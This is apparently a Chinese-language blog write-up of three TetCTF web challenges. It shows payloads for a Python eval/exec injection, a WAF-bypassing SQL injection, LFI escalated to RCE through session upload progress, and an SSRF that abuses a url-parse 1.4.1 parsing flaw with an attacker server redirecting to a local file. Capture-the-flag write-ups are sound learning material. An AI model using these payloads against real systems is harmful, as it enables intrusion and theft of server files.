元旦ㄉCTF,算有點難度,我覺得剛好

這次解了兩題Web就變29名好爽

NewYearBot

有點小複雜
這題有兩個參數,分別是greetType跟greetNumber
而greetType會檢查是不是Python的identifier
然後greetNumber限制不能出現Ascii碼58~122的字元
並且把裡面非數字的字元去除
最後再把他轉成數字
並且檢查這個數字是不是小於6

當兩個參數都驗證完之後
並且要保證

“%s[%s]” % (greetType, greetNumber)

長度不大於20
之後會輸出

eval("%s[%s]" % (greetType, greetNumber))

如果有debug參數的話
可以看到greetType的長度
而如果我們greetTyoe輸入存flag的變數FL4G的話
會發現flag的長度是24
也就是說沒辦法直接把flag一個一個字弄出來

但如果我們觀察一下會發現,+-*/|&()~這些字元是可以用的
也就是說我們要想辦法在14個字元內(扣掉FL4G[])
用以上的字元
數字除了0以外只能用1~5並且還只能放在最後一個位置
把0~23全部弄出來

我們可以知道0**0會變1
然後~就是bit反轉
之後其實就是一些fuzzing了

#0 1 2 3 4 5
#6 (0**0+0**0)*3
#7 (0**0+0**0)|5
#8 (0**0+0**0)*4
#9 ~(~0**0*5)
#10 (0**0+0**0)*5
#11 ~0+~0**0*~5
#12 ~0**0*~5
#13 0**0+~0**0*~5
#14 ~0**0*5
#15 ~0+~0**0*4
#16 (0**0+0**0)**4
#17 ~0**0-0**0*5
#18 19 20 21 22 23 ~

另一種超級簡單的解法就是用特殊字元
像是在greetNumber塞

exec(debug)

就可以直接rce了

TetCTF{JuSt_F0rFunn(^_^}

GIFT

題目首先給了MySQL的dump
可以看到他建了兩張表

CREATE TABLE `access_key` (
  `id` int(11) NOT NULL,
  `key_cc` text NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
INSERT INTO `access_key` VALUES (2,'Censored');

CREATE TABLE `pictures` (
  `id` int(11) NOT NULL,
  `url` text NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
INSERT INTO `pictures` VALUES (1,'http://example.com/');
INSERT INTO `pictures` VALUES (2,'http://localhost/media/messi.jpg');

而題目有個地方可以直接SQLi
他會把結果回傳到你輸入的url內
就是自己去開個伺服器接
然後試一試會發現他有WAF
大概是下列這些

< ( ) key_cc in =

要繞過撈key_cc其實就改大寫就好了

3 union select KEY_CC from access_key

總之拿到key_cc之後就可以拿去登入
登入後發現有LFI的漏洞
但稍微試了一下會發現所以方法都不能用
phpfilter (X) 路徑前面有東西
session upload (X) WAF擋sess
pearcmd (X) WAF直接跟你說不要用這招

但我大概試了一段時間後發現
/proc/self/fd/10會讀到自己的session
也就是說其實可以直接用session upload progress去達成RCE
LFI參考資料

TetCTF{just_a_warm_up_for_cold_winter}

Image Services Viewer

這題我真的感覺差一點就解出來ㄌ
哭阿
題目會讓你輸入一個URL
並且在檢查過後會發送請求到那個URL
最後會把他得到的資料回傳給你
主要有幾個地方

if (req.query.password.length > 12 || req.query.password != "Th!sIsS3xreT0") {
    return res.send("You don't have permission")
}

這個只要把參數變成password[]就能繞了,沒什麼好說的

接著是他會檢查URL的protocol跟host
首先會用內建的URL module來檢查protocol是不是http或https
再來會用url-parse去檢查host是不是 i.ibb.co
但是會發現他用的url-parse是1.4.1,是一個漏洞一大堆的版本
url-parse 1.4.1 vulnerabilities
主要的目標就是要讓URL在正常情況下的host會解析到我自己的網域,同時要讓url-parse認為host是i.ibb.co
反正試了很多次都失敗
最後就去水餃了
沒想到解法很簡單,我竟然沒試到==

http://<myhost>\@i.ibb.co/../test.jpg

主要是因為url-parse沒有把\變成/
所以他把@前面的都當成auth
而正常情況下都會先把\變成/
所以後面的都會被當成路徑

最後他url結尾必須是.jpg之類的
並且head之後的Content-Type必須包含image
然後由於他有弄一個file protocol的Adapter
也就是說弄個302讓他redirect去flag的位置就好

app.head('/test.jpg',(req,res)=>{
    console.log(req.headers)
    res.setHeader('Content-Type','image').send();
})

app.get('/test.jpg',(req,res)=>{
    console.log(req.headers)
    res.redirect('file:///usr/src/app/fl4gg_tetCTF')
})

TetCTF{p@rs3_Ur1_s0_m4gIIccccc-W1th_n0deLib+p4ith0n}

結語

這個CTF蠻好玩的
然後明天就是EOF了
真刺激